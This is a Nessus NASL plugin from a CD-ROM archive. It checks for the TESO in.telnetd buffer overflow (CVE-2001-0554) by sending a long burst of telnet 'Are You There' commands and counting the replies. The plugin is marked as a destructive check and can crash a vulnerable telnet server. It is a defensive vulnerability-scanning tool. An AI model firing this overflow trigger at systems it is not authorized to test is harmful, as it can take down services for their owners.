home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / teso_telnet.nasl < prev    next >
Text File  |  2005-03-31  |  5KB  |  171 lines

  1. #
  2. # Test TESO in.telnetd buffer overflow
  3. #
  4. # Copyright (c) 2001 Pavel Kankovsky, DCIT s.r.o. <kan@dcit.cz>
  5. # Permission to copy, modify, and redistribute this script under
  6. # the terms of the GNU General Public License is hereby granted.
  7. #
  8. # The kudos for an idea of counting of AYT replies should go
  9. # to Sebastian <scut@nb.in-berlin.de> and Noam Rathaus
  10. # <noamr@beyondsecurity.com>.
  11. #
  12. #
  13. # rd: tested against Solaris 2.8, RH Lx 6.2, FreeBSD 4.3 (patched & unpatched)
  14.  
  15. if (description) {
  16.    script_id(10709);
  17.    script_bugtraq_id(3064);
  18.    script_version ("$Revision: 1.17 $");
  19.    script_cve_id("CVE-2001-0554");
  20.  
  21.   name["english"] = "TESO in.telnetd buffer overflow";
  22.   script_name(english:name["english"]);
  23.  
  24.   desc["english"] = "
  25. The Telnet server does not return an expected number of replies
  26. when it receives a long sequence of 'Are You There' commands.
  27. This probably means it overflows one of its internal buffers and
  28. crashes. It is likely an attacker could abuse this bug to gain
  29. control over the remote host's superuser.
  30.  
  31. For more information, see:
  32. http://www.team-teso.net/advisories/teso-advisory-011.tar.gz
  33.  
  34. Solution: Comment out the 'telnet' line in /etc/inetd.conf.
  35. Risk factor : High";
  36.   script_description(english:desc["english"]);
  37.  
  38.   summary["english"] = "Attempts to overflow the Telnet server buffer";
  39.   script_summary(english:summary["english"]);
  40.  
  41.   script_category(ACT_DESTRUCTIVE_ATTACK);
  42.  
  43.   script_copyright(english:"This script is Copyright (C) 2001 Pavel Kankovsky");
  44.  
  45.   family["english"] = "Gain root remotely";
  46.   script_family(english:family["english"]);
  47.  
  48.   # Must run AFTER ms_telnet_overflow-004.nasl
  49.   script_dependencie("find_service.nes", "ms_telnet_overflow.nasl");
  50.  
  51.   script_require_ports("Services/telnet", 23);
  52.   exit(0);
  53. }
  54.  
  55. #
  56. # The script code starts here.
  57. #
  58.  
  59.  
  60. iac_ayt = raw_string(0xff, 0xf6);
  61. iac_ao  = raw_string(0xff, 0xf5);
  62. iac_will_naol = raw_string(0xff, 0xfb, 0x08);
  63. iac_will_encr = raw_string(0xff, 0xfb, 0x26);
  64.  
  65. #
  66. # This helper function counts AYT responses in the input stream.
  67. # The input is read until 1. the expected number of responses is found,
  68. # or 2. EOF or read timeout occurs.
  69. #
  70. # At this moment, any occurence of "Yes" or "yes" is supposed to be such
  71. # a response. Of course, this is wrong: some FreeBSD was observed to react
  72. # with "load: 0.12  cmd: .log 20264 [running] 0.00u 0.00s 0% 620k"
  73. # when the telnet negotiation have been completed. Unfortunately, adding
  74. # another pattern to this code would be too painful (hence the negotiation
  75. # tricks in attack()).
  76. #
  77. # In order to avoid an infinite loop (when testing a host that generates
  78. # lots of junk, intentionally or unintentionally), I stop when I have read
  79. # more than 100 * max bytes.
  80. #
  81. # Please note builtin functions like ereg() or egrep() cannot be used
  82. # here (easily) because they choke on '\0' and many telnet servers send
  83. # this character
  84. #
  85. # Local variables: num, state, bytes, a, i, newstate
  86. #
  87.  
  88. function count_ayt(sock, max) {
  89.   num = 0; state = 0;
  90.   bytes = 100 * max;
  91.   while (bytes >= 0) {
  92.     a = recv(socket:sock, length:1024);
  93.     if (!a) return (num);
  94.     bytes = bytes - strlen(a);
  95.     for (i = 0; i < strlen(a); i = i + 1) {
  96.       newstate = 0;
  97.       if ((state == 0) && ((a[i] == "y") || (a[i] == "Y")))
  98.         newstate = 1;
  99.       if ((state == 1) && (a[i] == "e"))
  100.         newstate = 2;
  101.       if ((state == 2) && (a[i] == "s")) {
  102.         # DEBUG display("hit ", a[i-2], a[i-1], a[i], "\n");
  103.         num = num + 1;
  104.         if (num >= max) return (num);
  105.         newstate = 0;
  106.       }
  107.       state = newstate;
  108.     }
  109.   }
  110.   # inconclusive result
  111.   return (-1);
  112. }
  113.  
  114. #
  115. # This functions tests the vulnerability. "negotiate" indicates whether
  116. # full telnet negotiation should be performed using telnet_init().
  117. # Some targets might need it while others, like FreeBSD, fail to respond
  118. # to AYT in an expected way when the negotiation is done (cf. comments
  119. # accompanying count_ayt()).
  120. #
  121. # Local variables: r, total, size, bomb, succ
  122. #
  123.  
  124. function attack(port, negotiate) {
  125.   succ = 0;
  126.   soc = open_sock_tcp(port);
  127.   if (!soc) return (0);
  128.   if (negotiate)
  129.     # standard negotiation
  130.     r = telnet_init(soc);
  131.   else {
  132.     # wierd BSD magic, is is necessary?
  133.     send(socket:soc, data:iac_will_naol);
  134.     send(socket:soc, data:iac_will_encr);
  135.     r = 1;
  136.   }
  137.   if (r) {
  138.     # test whether the server talks to us at all
  139.     # and whether AYT is supported
  140.     send(socket:soc, data:iac_ayt);
  141.     r = count_ayt(sock:soc, max:1);
  142.     # DEBUG display("probe ", r, "\n");
  143.     if (r >= 1) { 
  144.       # test whether too many AYT's make the server die
  145.       total = 2048; size = total * strlen(iac_ayt);
  146.       bomb = iac_ao + crap(length:size, data:iac_ayt);
  147.       send(socket:soc, data:bomb);
  148.       r = count_ayt(sock:soc, max:total);
  149.       # DEBUG
  150. #display("attack ", r, " expected ", total, "\n");
  151.       if ((r >= 0) && (r < total)) succ = 1;
  152.     }
  153.   }
  154.   close(soc);
  155.   return (succ);
  156. }
  157.  
  158. #
  159. # The main program.
  160. #
  161.  
  162. port = get_kb_item("Services/telnet");
  163. if (!port) port = 23;
  164.  
  165. if (get_port_state(port)) {
  166.   success = attack(port:port, negotiate:0);
  167.   if (!success) success = attack(port:port, negotiate:1);
  168.   if (success) security_hole(port);
  169. }
  170.  
  171.